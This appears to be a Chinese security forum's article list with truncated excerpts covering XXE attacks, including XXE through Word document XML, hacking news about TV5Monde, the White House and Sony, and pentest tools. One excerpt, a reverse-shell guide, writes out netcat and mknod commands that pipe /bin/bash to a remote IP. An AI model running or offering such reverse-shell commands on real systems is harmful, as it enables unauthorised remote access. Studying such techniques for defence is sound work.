文章列表
未知攻焉知防——XXE漏洞攻防
From：http://security.tencent.com/index.php/blog/msg/69作者：Mark4z5好文章要转到T00ls一、XML基础知识XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元
神社工：IS黑客看会电视节目，就把法国电视台给黑了
法国电视国际五台（TV5Monde）遭黑客组织的攻击，电视频道、网站和社交平台（如Facebook）全面瘫痪。电视屏幕变成了黑屏。法国总理瓦尔斯称，攻击TV5Monde电视台的行为是对新闻和言论自由的侵犯，是不能令人接受的。法国文化和通讯部长佩瑞琳称，TV5Monde电视台是恐怖主义行为的受害者。但TV5Monde自身
比利时：瓦隆大区政府网站遭黑客攻击
继法国TV5Monde电视台遭遇法语区史上最大规模网络恐袭之后，比利时法语区政府用于发布经济信息的网站10日也遭遇黑客攻击。当天，比利时法语区政府用于发布经济信息的网站遭黑客攻击，网页被换成深黑色，并不停地播放由一位未带头巾的女主持人用纯正英语录制的反美视频。该位女主持人在视频中抨击美国及
法国电视台遭效忠“伊斯兰国”黑客攻击 奥朗德被威胁
今年1月法国爆炸案没有完，也完不了，战场转至没有硝烟的电视台与网络。据法新社报道，法国电视频道“TV5Monde”于8日发表了一项声明称，当天一名自称为“伊斯兰国”极端组织效忠的黑客攻陷了该电视台的后台网络及社交网站脸书主页，并将1月两起爆炸事故归咎于法国总统奥朗德参与美国主导针对“伊斯兰
利用doc来实现xxe
首先是一个正常的doc文档当将这一个doc文档改成zip，再解压后就会发现doc文档就是一堆xml文件组成的在word文件夹里打开document.xml可以发现doc里的内容都在<w:t></w:t>里构造实体，并在<w:t></w:t>里引用实体来实现xxe实体定义：<!DOCTYPE document > 实体引用：<w:t>&xxe;</w:t>在0ctf一道题里的效
Linux下反弹的10种方法
转载的自Kaotic Creations，http://kaoticcreations.blogspot.kr/2012/01/bind-back-connect-reference-guide.html方法1. SHELL执行： nc 192.168.1.133 8080 -e /bin/bash监听执行 ：nc -n -vv -l -p 8080方法2：SHELL执行：mknod backpipe p && nc 192.168.1.133 8080 0<backpipe | /bin/bash 1>ba
美媒：俄罗斯黑客入侵白宫计算机系统
据美国有线新闻网(CNN)报道，有美国官员称，近几个月俄罗斯黑客已破坏性地入侵美国国务院计算机网络，同时还借此侵入白宫计算机系统的敏感部分。白宫已表示入侵仅影响到非机密系统，但有美国媒体称这样的表述掩饰了入侵的严重性。黑客获得了如未公开的美国总统奥巴马真实行程细节等敏感信息。也有美国
【纽约时报】黑客入侵索尼影视后 学乖了的好莱坞开始重视数据安全
几十年来，露露·芝泽（Lulu Zezza）一直都在扮演好莱坞最困难的角色之一。除了管理《朗读者》和《九》这些电影的实际制作外，芝泽还负责监督电影制作流程中的各种数据安全，包括电影预算、挑选演员、拍摄日程以及电影剧本。就在不久之前，保守住好莱坞的秘密还是件相当简单的事。等到电影拍摄一结束，
内网渗透几个小工具
好久没有发帖了，出来冒泡~++++++++++++++++++++++++++++++++++++++++++++++++++++++++++一)前言昨天搞站，shell是windows的administrator权限，但是反弹不出来。所有东西全在命令行上面玩。凤凰扫描器扫除几个smb和ssh的口令++++++++++++++++++++++++++++++++++++++++++++++++++++++++++二）小工具1.p
![[观点]所谓的“PHP任意文件上传漏洞”的驳斥与国内安全娱乐圈之我见](https://cn.t00ls.com/attachments/month_1504/1504041322ec81b9e3cdc3ba19.gif)
[观点]所谓的“PHP任意文件上传漏洞”的驳斥与国内安全娱乐圈之我见
前几天微博、各大媒体上突然冒出来一个“PHP任意文件上传漏洞（CVE-2015-2348）”，打开看过之后发现，确实是前段时间出来的一个漏洞。这篇文章由信息安全界“知名”媒体Freebuf首先出来炒，之后360也不甘示弱，腾讯紧跟其后，炒的不亦乐乎。这大概是很多不明真相的同学们眼中的CVE-2015-2348。我是一
